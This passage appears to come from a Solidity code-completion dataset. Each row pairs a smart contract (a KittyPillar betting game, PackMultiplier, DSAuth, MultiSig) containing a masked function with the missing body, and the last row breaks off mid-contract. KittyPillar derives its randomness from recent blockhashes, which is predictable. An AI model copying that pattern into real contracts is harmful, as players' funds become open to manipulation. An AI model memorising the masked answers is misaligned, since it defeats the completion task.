uint256 kittyId,
uint8 pillarIdx,
uint256 contribution,
uint256 currentRound,
uint256 timeStamp
);
event RoundEnded
(
uint256 currentRId,
uint256 pillarWon,
uint256 timeStamp
);
event Withdrawal
(
address playerAddr,
uint256 pId,
uint256 amount,
uint256 timeStamp
);
//**********************************************************************************
// Modifiers
//**********************************************************************************
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
//**********************************************************************************
// Configs
//**********************************************************************************
uint256 public contributionTarget_ = 100; //round target contributions
bool public paused_ = false;
uint256 public joinFee_ = 10000000000000000; //0.01 ether
uint256 public totalDeveloperCut_ = 0;
uint256 public minPower_ = 3; //minimum power of kitty
uint256 public maxPower_ = 20; //maximum power of kitty
//**********************************************************************************
// Data
//**********************************************************************************
//***************************
// Round
//***************************
uint256 public currentRId_;
mapping (uint256 => KittyPillarDataSets.Round) public round_; // (rId => data) round data
//***************************
// Player
//***************************
uint256 private currentPId_;
mapping (address => uint256) public pIdByAddress_; // (address => pId) returns player id by address
mapping (uint8 => mapping (uint256 => KittyPillarDataSets.Pillar)) public pillarRounds_; // (pillarIdx => roundId -> Pillar) returns pillar's round information
mapping (uint256 => KittyPillarDataSets.Player) public players_; // (pId => player) returns player information
mapping (uint256 => mapping (uint256 => uint256[])) public playerRounds_; // (pId => roundId => uint256[]) returns player's round information
mapping (uint256 => mapping (uint256 => KittyPillarDataSets.KittyRound)) public kittyRounds_; // (kittyId => roundId => KittyRound) returns kitty's round information
//**********************************************************************************
// Functions
//**********************************************************************************
constructor(address _kittyCoreAddress) public {
owner = msg.sender; //init owner
kittyCoreAddress = _kittyCoreAddress;
kittyCore = KittyCoreInterface(kittyCoreAddress);
//start round
currentRId_ = 1;
round_[currentRId_].pot = 0;
round_[currentRId_].targetContributions = contributionTarget_;
round_[currentRId_].timeStarted = now;
round_[currentRId_].ended = false;
}
function getPillarRoundsKitties(uint8 _pillarIdx, uint256 _rId) external view returns (uint256[]) {
return pillarRounds_[_pillarIdx][_rId].kittyIds;
}
function getPlayerRoundsKitties(uint256 _pId, uint256 _rId) external view returns (uint256[]) {
return playerRounds_[_pId][_rId];
}
function joinPillarWithEarnings(uint256 _kittyId, uint8 _pillarIdx, uint256 _rId) external {<FILL_FUNCTION_BODY> }
function joinPillar(uint256 _kittyId, uint8 _pillarIdx, uint256 _rId) external payable {
require(!paused_, "game is paused");
require(msg.value == joinFee_, "incorrect join fee");
require((_pillarIdx>=0)&&(_pillarIdx<=2), "there is no such pillar here");
require(msg.sender == kittyCore.ownerOf(_kittyId), "sender not owner of kitty");
require(kittyRounds_[_kittyId][currentRId_].contribution==0, "kitty has already joined a pillar this round");
require(_rId == currentRId_, "round has ended, wait for next round");
uint256 _pId = pIdByAddress_[msg.sender];
//add player if he/she doesn't exists in game
if (_pId == 0) {
currentPId_ = currentPId_.add(1);
pIdByAddress_[msg.sender] = currentPId_;
players_[currentPId_].ownerAddr = msg.sender;
_pId = currentPId_;
emit PlayerJoined
(
msg.sender,
_pId,
now
);
}
joinPillarCore(_pId, _kittyId, _pillarIdx);
}
function joinPillarCore(uint256 _pId, uint256 _kittyId, uint8 _pillarIdx) private {
//record kitty under player for this round
playerRounds_[_pId][currentRId_].push(_kittyId);
//calculate kitty's power
uint256 minPower = minPower_;
if (pillarRounds_[_pillarIdx][currentRId_].totalContributions<(round_[currentRId_].targetContributions/2)) { //pillar under half, check other pillars
uint8 i;
for (i=0; i<3; i++) {
if (i!=_pillarIdx) {
if (pillarRounds_[i][currentRId_].totalContributions >= (round_[currentRId_].targetContributions/2)) {
minPower = maxPower_/2; //minimum power increases, so to help the low pillar grow faster
break;
}
}
}
}
uint256 genes;
( , , , , , , , , , genes) = kittyCore.getKitty(_kittyId);
uint256 _contribution = ((getKittyPower(genes) % maxPower_) + minPower); //from min to max power
// add to kitty round
uint256 joinedTime = now;
kittyRounds_[_kittyId][currentRId_].pillar = _pillarIdx;
kittyRounds_[_kittyId][currentRId_].contribution = _contribution;
kittyRounds_[_kittyId][currentRId_].kittyOwnerPId = _pId;
kittyRounds_[_kittyId][currentRId_].timeStamp = joinedTime;
// update current round's info
pillarRounds_[_pillarIdx][currentRId_].totalContributions = pillarRounds_[_pillarIdx][currentRId_].totalContributions.add(_contribution);
pillarRounds_[_pillarIdx][currentRId_].kittyIds.push(_kittyId);
//update current round pot
totalDeveloperCut_ = totalDeveloperCut_.add((joinFee_/100).mul(4)); //4% developer fee
round_[currentRId_].pot = round_[currentRId_].pot.add((joinFee_/100).mul(96)); //update pot minus fee
emit KittyJoined
(
msg.sender,
_kittyId,
_pillarIdx,
_contribution,
currentRId_,
joinedTime
);
//if meet target contribution, end round
if (pillarRounds_[_pillarIdx][currentRId_].totalContributions >= round_[currentRId_].targetContributions) {
endRound(_pillarIdx);
}
}
function getKittyPower(uint256 kittyGene) private view returns(uint256) {
return (uint(keccak256(abi.encodePacked(kittyGene,
blockhash(block.number - 1),
blockhash(block.number - 2),
blockhash(block.number - 4),
blockhash(block.number - 7))
)));
}
function endRound(uint8 _wonPillarIdx) private {
//distribute pot
uint256 numWinners = pillarRounds_[_wonPillarIdx][currentRId_].kittyIds.length;
uint256 numFirstMovers = numWinners / 2; //half but rounded floor
//perform round up if required
if ((numFirstMovers * 2) < numWinners) {
numFirstMovers = numFirstMovers.add(1);
}
uint256 avgTokensPerWinner = round_[currentRId_].pot/numWinners;
//first half (round up) of the pillar kitties get 20% extra off the pot to reward the precision, strength and valor!
uint256 tokensPerFirstMovers = avgTokensPerWinner.add(avgTokensPerWinner.mul(2) / 10);
//the rest of the pot is divided by the rest of the followers
uint256 tokensPerFollowers = (round_[currentRId_].pot - (numFirstMovers.mul(tokensPerFirstMovers))) / (numWinners-numFirstMovers);
uint256 totalEthCount = 0;
for(uint256 i = 0; i < numWinners; i++) {
uint256 kittyId = pillarRounds_[_wonPillarIdx][currentRId_].kittyIds[i];
if (i < numFirstMovers) {
players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth = players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth.add(tokensPerFirstMovers);
totalEthCount = totalEthCount.add(tokensPerFirstMovers);
} else {
players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth = players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth.add(tokensPerFollowers);
totalEthCount = totalEthCount.add(tokensPerFollowers);
}
}
//set round param to end
round_[currentRId_].pillarWon = _wonPillarIdx;
round_[currentRId_].timeEnded = now;
round_[currentRId_].ended = true;
emit RoundEnded(
currentRId_,
_wonPillarIdx,
round_[currentRId_].timeEnded
);
//start next round
currentRId_ = currentRId_.add(1);
round_[currentRId_].pot = 0;
round_[currentRId_].targetContributions = contributionTarget_;
round_[currentRId_].timeStarted = now;
round_[currentRId_].ended = false;
}
function withdrawWinnings() external {
uint256 _pId = pIdByAddress_[msg.sender];
//player doesn't exists in game
require(_pId != 0, "player doesn't exist in game, don't disturb");
require(players_[_pId].totalEth > 0, "there is nothing to withdraw");
uint256 withdrawalSum = players_[_pId].totalEth;
players_[_pId].totalEth = 0; //all is gone from contract to user wallet
msg.sender.transfer(withdrawalSum); //byebye ether
emit Withdrawal
(
msg.sender,
_pId,
withdrawalSum,
now
);
}
//**********************************************************************************
// Admin Functions
//**********************************************************************************
function setJoinFee(uint256 _joinFee) external onlyOwner {
joinFee_ = _joinFee;
}
function setPlayConfigs(uint256 _contributionTarget, uint256 _maxPower, uint256 _minPower) external onlyOwner {
require(_minPower.mul(2) <= _maxPower, "min power cannot be more than half of max power");
contributionTarget_ = _contributionTarget;
maxPower_ = _maxPower;
minPower_ = _minPower;
}
function setKittyCoreAddress(address _kittyCoreAddress) external onlyOwner {
kittyCoreAddress = _kittyCoreAddress;
kittyCore = KittyCoreInterface(kittyCoreAddress);
}
/**
* @dev Current owner can transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
function setPaused(bool _paused) external onlyOwner {
paused_ = _paused;
}
function withdrawDeveloperCut() external onlyOwner {
address thisAddress = this;
uint256 balance = thisAddress.balance;
uint256 withdrawalSum = totalDeveloperCut_;
if (balance >= withdrawalSum) {
totalDeveloperCut_ = 0;
owner.transfer(withdrawalSum);
}
}
} | contract KittyPillar {
using SafeMath for uint256;
address public owner; //owner of this contract
address public kittyCoreAddress; //address of kittyCore
KittyCoreInterface private kittyCore; //kittycore reference
//**********************************************************************************
// Events
//**********************************************************************************
event PlayerJoined
(
address playerAddr,
uint256 pId,
uint256 timeStamp
);
event KittyJoined
(
address ownerAddr,
uint256 kittyId,
uint8 pillarIdx,
uint256 contribution,
uint256 currentRound,
uint256 timeStamp
);
event RoundEnded
(
uint256 currentRId,
uint256 pillarWon,
uint256 timeStamp
);
event Withdrawal
(
address playerAddr,
uint256 pId,
uint256 amount,
uint256 timeStamp
);
//**********************************************************************************
// Modifiers
//**********************************************************************************
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
//**********************************************************************************
// Configs
//**********************************************************************************
uint256 public contributionTarget_ = 100; //round target contributions
bool public paused_ = false;
uint256 public joinFee_ = 10000000000000000; //0.01 ether
uint256 public totalDeveloperCut_ = 0;
uint256 public minPower_ = 3; //minimum power of kitty
uint256 public maxPower_ = 20; //maximum power of kitty
//**********************************************************************************
// Data
//**********************************************************************************
//***************************
// Round
//***************************
uint256 public currentRId_;
mapping (uint256 => KittyPillarDataSets.Round) public round_; // (rId => data) round data
//***************************
// Player
//***************************
uint256 private currentPId_;
mapping (address => uint256) public pIdByAddress_; // (address => pId) returns player id by address
mapping (uint8 => mapping (uint256 => KittyPillarDataSets.Pillar)) public pillarRounds_; // (pillarIdx => roundId -> Pillar) returns pillar's round information
mapping (uint256 => KittyPillarDataSets.Player) public players_; // (pId => player) returns player information
mapping (uint256 => mapping (uint256 => uint256[])) public playerRounds_; // (pId => roundId => uint256[]) returns player's round information
mapping (uint256 => mapping (uint256 => KittyPillarDataSets.KittyRound)) public kittyRounds_; // (kittyId => roundId => KittyRound) returns kitty's round information
//**********************************************************************************
// Functions
//**********************************************************************************
constructor(address _kittyCoreAddress) public {
owner = msg.sender; //init owner
kittyCoreAddress = _kittyCoreAddress;
kittyCore = KittyCoreInterface(kittyCoreAddress);
//start round
currentRId_ = 1;
round_[currentRId_].pot = 0;
round_[currentRId_].targetContributions = contributionTarget_;
round_[currentRId_].timeStarted = now;
round_[currentRId_].ended = false;
}
function getPillarRoundsKitties(uint8 _pillarIdx, uint256 _rId) external view returns (uint256[]) {
return pillarRounds_[_pillarIdx][_rId].kittyIds;
}
function getPlayerRoundsKitties(uint256 _pId, uint256 _rId) external view returns (uint256[]) {
return playerRounds_[_pId][_rId];
}
<FILL_FUNCTION>
function joinPillar(uint256 _kittyId, uint8 _pillarIdx, uint256 _rId) external payable {
require(!paused_, "game is paused");
require(msg.value == joinFee_, "incorrect join fee");
require((_pillarIdx>=0)&&(_pillarIdx<=2), "there is no such pillar here");
require(msg.sender == kittyCore.ownerOf(_kittyId), "sender not owner of kitty");
require(kittyRounds_[_kittyId][currentRId_].contribution==0, "kitty has already joined a pillar this round");
require(_rId == currentRId_, "round has ended, wait for next round");
uint256 _pId = pIdByAddress_[msg.sender];
//add player if he/she doesn't exists in game
if (_pId == 0) {
currentPId_ = currentPId_.add(1);
pIdByAddress_[msg.sender] = currentPId_;
players_[currentPId_].ownerAddr = msg.sender;
_pId = currentPId_;
emit PlayerJoined
(
msg.sender,
_pId,
now
);
}
joinPillarCore(_pId, _kittyId, _pillarIdx);
}
function joinPillarCore(uint256 _pId, uint256 _kittyId, uint8 _pillarIdx) private {
//record kitty under player for this round
playerRounds_[_pId][currentRId_].push(_kittyId);
//calculate kitty's power
uint256 minPower = minPower_;
if (pillarRounds_[_pillarIdx][currentRId_].totalContributions<(round_[currentRId_].targetContributions/2)) { //pillar under half, check other pillars
uint8 i;
for (i=0; i<3; i++) {
if (i!=_pillarIdx) {
if (pillarRounds_[i][currentRId_].totalContributions >= (round_[currentRId_].targetContributions/2)) {
minPower = maxPower_/2; //minimum power increases, so to help the low pillar grow faster
break;
}
}
}
}
uint256 genes;
( , , , , , , , , , genes) = kittyCore.getKitty(_kittyId);
uint256 _contribution = ((getKittyPower(genes) % maxPower_) + minPower); //from min to max power
// add to kitty round
uint256 joinedTime = now;
kittyRounds_[_kittyId][currentRId_].pillar = _pillarIdx;
kittyRounds_[_kittyId][currentRId_].contribution = _contribution;
kittyRounds_[_kittyId][currentRId_].kittyOwnerPId = _pId;
kittyRounds_[_kittyId][currentRId_].timeStamp = joinedTime;
// update current round's info
pillarRounds_[_pillarIdx][currentRId_].totalContributions = pillarRounds_[_pillarIdx][currentRId_].totalContributions.add(_contribution);
pillarRounds_[_pillarIdx][currentRId_].kittyIds.push(_kittyId);
//update current round pot
totalDeveloperCut_ = totalDeveloperCut_.add((joinFee_/100).mul(4)); //4% developer fee
round_[currentRId_].pot = round_[currentRId_].pot.add((joinFee_/100).mul(96)); //update pot minus fee
emit KittyJoined
(
msg.sender,
_kittyId,
_pillarIdx,
_contribution,
currentRId_,
joinedTime
);
//if meet target contribution, end round
if (pillarRounds_[_pillarIdx][currentRId_].totalContributions >= round_[currentRId_].targetContributions) {
endRound(_pillarIdx);
}
}
function getKittyPower(uint256 kittyGene) private view returns(uint256) {
return (uint(keccak256(abi.encodePacked(kittyGene,
blockhash(block.number - 1),
blockhash(block.number - 2),
blockhash(block.number - 4),
blockhash(block.number - 7))
)));
}
function endRound(uint8 _wonPillarIdx) private {
//distribute pot
uint256 numWinners = pillarRounds_[_wonPillarIdx][currentRId_].kittyIds.length;
uint256 numFirstMovers = numWinners / 2; //half but rounded floor
//perform round up if required
if ((numFirstMovers * 2) < numWinners) {
numFirstMovers = numFirstMovers.add(1);
}
uint256 avgTokensPerWinner = round_[currentRId_].pot/numWinners;
//first half (round up) of the pillar kitties get 20% extra off the pot to reward the precision, strength and valor!
uint256 tokensPerFirstMovers = avgTokensPerWinner.add(avgTokensPerWinner.mul(2) / 10);
//the rest of the pot is divided by the rest of the followers
uint256 tokensPerFollowers = (round_[currentRId_].pot - (numFirstMovers.mul(tokensPerFirstMovers))) / (numWinners-numFirstMovers);
uint256 totalEthCount = 0;
for(uint256 i = 0; i < numWinners; i++) {
uint256 kittyId = pillarRounds_[_wonPillarIdx][currentRId_].kittyIds[i];
if (i < numFirstMovers) {
players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth = players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth.add(tokensPerFirstMovers);
totalEthCount = totalEthCount.add(tokensPerFirstMovers);
} else {
players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth = players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth.add(tokensPerFollowers);
totalEthCount = totalEthCount.add(tokensPerFollowers);
}
}
//set round param to end
round_[currentRId_].pillarWon = _wonPillarIdx;
round_[currentRId_].timeEnded = now;
round_[currentRId_].ended = true;
emit RoundEnded(
currentRId_,
_wonPillarIdx,
round_[currentRId_].timeEnded
);
//start next round
currentRId_ = currentRId_.add(1);
round_[currentRId_].pot = 0;
round_[currentRId_].targetContributions = contributionTarget_;
round_[currentRId_].timeStarted = now;
round_[currentRId_].ended = false;
}
function withdrawWinnings() external {
uint256 _pId = pIdByAddress_[msg.sender];
//player doesn't exists in game
require(_pId != 0, "player doesn't exist in game, don't disturb");
require(players_[_pId].totalEth > 0, "there is nothing to withdraw");
uint256 withdrawalSum = players_[_pId].totalEth;
players_[_pId].totalEth = 0; //all is gone from contract to user wallet
msg.sender.transfer(withdrawalSum); //byebye ether
emit Withdrawal
(
msg.sender,
_pId,
withdrawalSum,
now
);
}
//**********************************************************************************
// Admin Functions
//**********************************************************************************
function setJoinFee(uint256 _joinFee) external onlyOwner {
joinFee_ = _joinFee;
}
function setPlayConfigs(uint256 _contributionTarget, uint256 _maxPower, uint256 _minPower) external onlyOwner {
require(_minPower.mul(2) <= _maxPower, "min power cannot be more than half of max power");
contributionTarget_ = _contributionTarget;
maxPower_ = _maxPower;
minPower_ = _minPower;
}
function setKittyCoreAddress(address _kittyCoreAddress) external onlyOwner {
kittyCoreAddress = _kittyCoreAddress;
kittyCore = KittyCoreInterface(kittyCoreAddress);
}
/**
* @dev Current owner can transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
function setPaused(bool _paused) external onlyOwner {
paused_ = _paused;
}
function withdrawDeveloperCut() external onlyOwner {
address thisAddress = this;
uint256 balance = thisAddress.balance;
uint256 withdrawalSum = totalDeveloperCut_;
if (balance >= withdrawalSum) {
totalDeveloperCut_ = 0;
owner.transfer(withdrawalSum);
}
}
} |
require(!paused_, "game is paused");
require((_pillarIdx>=0)&&(_pillarIdx<=2), "there is no such pillar here");
require(msg.sender == kittyCore.ownerOf(_kittyId), "sender not owner of kitty");
uint256 _pId = pIdByAddress_[msg.sender];
require(_pId!=0, "not an existing player"); //needs to be an existing player
require(players_[_pId].totalEth >= joinFee_, "insufficient tokens in pouch for join fee");
require(kittyRounds_[_kittyId][currentRId_].contribution==0, "kitty has already joined a pillar this round");
require(_rId == currentRId_, "round has ended, wait for next round");
players_[_pId].totalEth = players_[_pId].totalEth.sub(joinFee_); //deduct joinFee from winnings
joinPillarCore(_pId, _kittyId, _pillarIdx);
| function joinPillarWithEarnings(uint256 _kittyId, uint8 _pillarIdx, uint256 _rId) external | function joinPillarWithEarnings(uint256 _kittyId, uint8 _pillarIdx, uint256 _rId) external |
84166 | PackMultiplier | null | contract PackMultiplier is PresalePackThree {
address[] public packs;
uint16 public multiplier = 3;
FirstPheonix pheonix;
PreviousInterface old;
uint16 public packLimit = 5;
constructor(PreviousInterface _old, address[] _packs, MigrationInterface _core, CappedVault vault, FirstPheonix _pheonix)
public PresalePackThree(_core, vault)
{<FILL_FUNCTION_BODY> }
function getCardCount() internal view returns (uint) {
return old.totalSupply() + old.burnCount();
}
function isPriorPack(address test) public view returns(bool) {
for (uint i = 0; i < packs.length; i++) {
if (packs[i] == test) {
return true;
}
}
return false;
}
event Status(uint before, uint aft);
function claimMultiple(address pack, uint purchaseID) public returns (uint16, address) {
require(isPriorPack(pack));
uint length = getCardCount();
PresalePackThree(pack).claim(purchaseID);
uint lengthAfter = getCardCount();
require(lengthAfter > length);
uint16 cardDifference = uint16(lengthAfter - length);
require(cardDifference % 5 == 0);
uint16 packCount = cardDifference / 5;
uint16 extra = packCount * multiplier;
address lastCardOwner = old.ownerOf(lengthAfter - 1);
Purchase memory p = Purchase({
user: lastCardOwner,
count: extra,
commit: uint64(block.number),
randomness: 0,
current: 0
});
uint id = purchases.push(p) - 1;
emit PacksPurchased(id, lastCardOwner, extra);
// try to give them a first pheonix
pheonix.claimPheonix(lastCardOwner);
emit Status(length, lengthAfter);
if (packCount <= packLimit) {
for (uint i = 0; i < cardDifference; i++) {
migration.migrate(lengthAfter - 1 - i);
}
}
return (extra, lastCardOwner);
}
function setPackLimit(uint16 limit) public onlyOwner {
packLimit = limit;
}
} | contract PackMultiplier is PresalePackThree {
address[] public packs;
uint16 public multiplier = 3;
FirstPheonix pheonix;
PreviousInterface old;
uint16 public packLimit = 5;
<FILL_FUNCTION>
function getCardCount() internal view returns (uint) {
return old.totalSupply() + old.burnCount();
}
function isPriorPack(address test) public view returns(bool) {
for (uint i = 0; i < packs.length; i++) {
if (packs[i] == test) {
return true;
}
}
return false;
}
event Status(uint before, uint aft);
function claimMultiple(address pack, uint purchaseID) public returns (uint16, address) {
require(isPriorPack(pack));
uint length = getCardCount();
PresalePackThree(pack).claim(purchaseID);
uint lengthAfter = getCardCount();
require(lengthAfter > length);
uint16 cardDifference = uint16(lengthAfter - length);
require(cardDifference % 5 == 0);
uint16 packCount = cardDifference / 5;
uint16 extra = packCount * multiplier;
address lastCardOwner = old.ownerOf(lengthAfter - 1);
Purchase memory p = Purchase({
user: lastCardOwner,
count: extra,
commit: uint64(block.number),
randomness: 0,
current: 0
});
uint id = purchases.push(p) - 1;
emit PacksPurchased(id, lastCardOwner, extra);
// try to give them a first pheonix
pheonix.claimPheonix(lastCardOwner);
emit Status(length, lengthAfter);
if (packCount <= packLimit) {
for (uint i = 0; i < cardDifference; i++) {
migration.migrate(lengthAfter - 1 - i);
}
}
return (extra, lastCardOwner);
}
function setPackLimit(uint16 limit) public onlyOwner {
packLimit = limit;
}
} |
packs = _packs;
pheonix = _pheonix;
old = _old;
| constructor(PreviousInterface _old, address[] _packs, MigrationInterface _core, CappedVault vault, FirstPheonix _pheonix)
public PresalePackThree(_core, vault)
| constructor(PreviousInterface _old, address[] _packs, MigrationInterface _core, CappedVault vault, FirstPheonix _pheonix)
public PresalePackThree(_core, vault)
|
25112 | DSAuth | isAuthorized | contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {<FILL_FUNCTION_BODY> }
} | contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
<FILL_FUNCTION>
} |
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
| function isAuthorized(address src, bytes4 sig) internal view returns (bool) | function isAuthorized(address src, bytes4 sig) internal view returns (bool) |
61698 | MultiSig | cancelScript | contract MultiSig {
using SafeMath for uint256;
uint public constant CHUNK_SIZE = 100;
mapping(address => bool) public isSigner;
address[] public allSigners; // all signers, even the disabled ones
// NB: it can contain duplicates when a signer is added, removed then readded again
// the purpose of this array is to being able to iterate on signers in isSigner
uint public activeSignersCount;
enum ScriptState {New, Approved, Done, Cancelled, Failed}
struct Script {
ScriptState state;
uint signCount;
mapping(address => bool) signedBy;
address[] allSigners;
}
mapping(address => Script) public scripts;
address[] public scriptAddresses;
event SignerAdded(address signer);
event SignerRemoved(address signer);
event ScriptSigned(address scriptAddress, address signer);
event ScriptApproved(address scriptAddress);
event ScriptCancelled(address scriptAddress);
event ScriptExecuted(address scriptAddress, bool result);
constructor() public {
// deployer address is the first signer. Deployer can configure new contracts by itself being the only "signer"
// The first script which sets the new contracts live should add signers and revoke deployer's signature right
isSigner[msg.sender] = true;
allSigners.push(msg.sender);
activeSignersCount = 1;
emit SignerAdded(msg.sender);
}
function sign(address scriptAddress) public {
require(isSigner[msg.sender], "sender must be signer");
Script storage script = scripts[scriptAddress];
require(script.state == ScriptState.Approved || script.state == ScriptState.New,
"script state must be New or Approved");
require(!script.signedBy[msg.sender], "script must not be signed by signer yet");
if(script.allSigners.length == 0) {
// first sign of a new script
scriptAddresses.push(scriptAddress);
}
script.allSigners.push(msg.sender);
script.signedBy[msg.sender] = true;
script.signCount = script.signCount.add(1);
emit ScriptSigned(scriptAddress, msg.sender);
if(checkQuorum(script.signCount)){
script.state = ScriptState.Approved;
emit ScriptApproved(scriptAddress);
}
}
function execute(address scriptAddress) public returns (bool result) {
// only allow execute to signers to avoid someone set an approved script failed by calling it with low gaslimit
require(isSigner[msg.sender], "sender must be signer");
Script storage script = scripts[scriptAddress];
require(script.state == ScriptState.Approved, "script state must be Approved");
/* init to failed because if delegatecall rans out of gas we won't have enough left to set it.
NB: delegatecall leaves 63/64 part of gasLimit for the caller.
Therefore the execute might revert with out of gas, leaving script in Approved state
when execute() is called with small gas limits.
*/
script.state = ScriptState.Failed;
// passing scriptAddress to allow called script access its own public fx-s if needed
if(scriptAddress.delegatecall(bytes4(keccak256("execute(address)")), scriptAddress)) {
script.state = ScriptState.Done;
result = true;
} else {
result = false;
}
emit ScriptExecuted(scriptAddress, result);
}
function cancelScript(address scriptAddress) public {<FILL_FUNCTION_BODY> }
/* requires quorum so it's callable only via a script executed by this contract */
function addSigners(address[] signers) public {
require(msg.sender == address(this), "only callable via MultiSig");
for (uint i= 0; i < signers.length; i++) {
if (!isSigner[signers[i]]) {
require(signers[i] != address(0), "new signer must not be 0x0");
activeSignersCount++;
allSigners.push(signers[i]);
isSigner[signers[i]] = true;
emit SignerAdded(signers[i]);
}
}
}
/* requires quorum so it's callable only via a script executed by this contract */
function removeSigners(address[] signers) public {
require(msg.sender == address(this), "only callable via MultiSig");
for (uint i= 0; i < signers.length; i++) {
if (isSigner[signers[i]]) {
require(activeSignersCount > 1, "must not remove last signer");
activeSignersCount--;
isSigner[signers[i]] = false;
emit SignerRemoved(signers[i]);
}
}
}
/* implement it in derived contract */
function checkQuorum(uint signersCount) internal view returns(bool isQuorum);
function getAllSignersCount() view external returns (uint allSignersCount) {
return allSigners.length;
}
// UI helper fx - Returns signers from offset as [signer id (index in allSigners), address as uint, isActive 0 or 1]
function getAllSigners(uint offset) external view returns(uint[3][CHUNK_SIZE] signersResult) {
for (uint8 i = 0; i < CHUNK_SIZE && i + offset < allSigners.length; i++) {
address signerAddress = allSigners[i + offset];
signersResult[i] = [ i + offset, uint(signerAddress), isSigner[signerAddress] ? 1 : 0 ];
}
}
function getScriptsCount() view external returns (uint scriptsCount) {
return scriptAddresses.length;
}
// UI helper fx - Returns scripts from offset as
// [scriptId (index in scriptAddresses[]), address as uint, state, signCount]
function getAllScripts(uint offset) external view returns(uint[4][CHUNK_SIZE] scriptsResult) {
for (uint8 i = 0; i < CHUNK_SIZE && i + offset < scriptAddresses.length; i++) {
address scriptAddress = scriptAddresses[i + offset];
scriptsResult[i] = [ i + offset, uint(scriptAddress), uint(scripts[scriptAddress].state),
scripts[scriptAddress].signCount ];
}
}
} | contract MultiSig {
using SafeMath for uint256;
uint public constant CHUNK_SIZE = 100;
mapping(address => bool) public isSigner;
address[] public allSigners; // all signers, even the disabled ones
// NB: it can contain duplicates when a signer is added, removed then readded again
// the purpose of this array is to being able to iterate on signers in isSigner
uint public activeSignersCount;
enum ScriptState {New, Approved, Done, Cancelled, Failed}
struct Script {
ScriptState state;
uint signCount;
mapping(address => bool) signedBy;
address[] allSigners;
}
mapping(address => Script) public scripts;
address[] public scriptAddresses;
event SignerAdded(address signer);
event SignerRemoved(address signer);
event ScriptSigned(address scriptAddress, address signer);
event ScriptApproved(address scriptAddress);
event ScriptCancelled(address scriptAddress);
event ScriptExecuted(address scriptAddress, bool result);
constructor() public {
// deployer address is the first signer. Deployer can configure new contracts by itself being the only "signer"
// The first script which sets the new contracts live should add signers and revoke deployer's signature right
isSigner[msg.sender] = true;
allSigners.push(msg.sender);
activeSignersCount = 1;
emit SignerAdded(msg.sender);
}
function sign(address scriptAddress) public {
require(isSigner[msg.sender], "sender must be signer");
Script storage script = scripts[scriptAddress];
require(script.state == ScriptState.Approved || script.state == ScriptState.New,
"script state must be New or Approved");
require(!script.signedBy[msg.sender], "script must not be signed by signer yet");
if(script.allSigners.length == 0) {
// first sign of a new script
scriptAddresses.push(scriptAddress);
}
script.allSigners.push(msg.sender);
script.signedBy[msg.sender] = true;
script.signCount = script.signCount.add(1);
emit ScriptSigned(scriptAddress, msg.sender);
if(checkQuorum(script.signCount)){
script.state = ScriptState.Approved;
emit ScriptApproved(scriptAddress);
}
}
function execute(address scriptAddress) public returns (bool result) {
// only allow execute to signers to avoid someone set an approved script failed by calling it with low gaslimit
require(isSigner[msg.sender], "sender must be signer");
Script storage script = scripts[scriptAddress];
require(script.state == ScriptState.Approved, "script state must be Approved");
/* init to failed because if delegatecall rans out of gas we won't have enough left to set it.
NB: delegatecall leaves 63/64 part of gasLimit for the caller.
Therefore the execute might revert with out of gas, leaving script in Approved state
when execute() is called with small gas limits.
*/
script.state = ScriptState.Failed;
// passing scriptAddress to allow called script access its own public fx-s if needed
if(scriptAddress.delegatecall(bytes4(keccak256("execute(address)")), scriptAddress)) {
script.state = ScriptState.Done;
result = true;
} else {
result = false;
}
emit ScriptExecuted(scriptAddress, result);
}
<FILL_FUNCTION>
/* requires quorum so it's callable only via a script executed by this contract */
function addSigners(address[] signers) public {
require(msg.sender == address(this), "only callable via MultiSig");
for (uint i= 0; i < signers.length; i++) {
if (!isSigner[signers[i]]) {
require(signers[i] != address(0), "new signer must not be 0x0");
activeSignersCount++;
allSigners.push(signers[i]);
isSigner[signers[i]] = true;
emit SignerAdded(signers[i]);
}
}
}
/* requires quorum so it's callable only via a script executed by this contract */
function removeSigners(address[] signers) public {
require(msg.sender == address(this), "only callable via MultiSig");
for (uint i= 0; i < signers.length; i++) {
if (isSigner[signers[i]]) {
require(activeSignersCount > 1, "must not remove last signer");
activeSignersCount--;
isSigner[signers[i]] = false;
emit SignerRemoved(signers[i]);
}
}
}
/* implement it in derived contract */
function checkQuorum(uint signersCount) internal view returns(bool isQuorum);
function getAllSignersCount() view external returns (uint allSignersCount) {
return allSigners.length;
}
// UI helper fx - Returns signers from offset as [signer id (index in allSigners), address as uint, isActive 0 or 1]
function getAllSigners(uint offset) external view returns(uint[3][CHUNK_SIZE] signersResult) {
for (uint8 i = 0; i < CHUNK_SIZE && i + offset < allSigners.length; i++) {
address signerAddress = allSigners[i + offset];
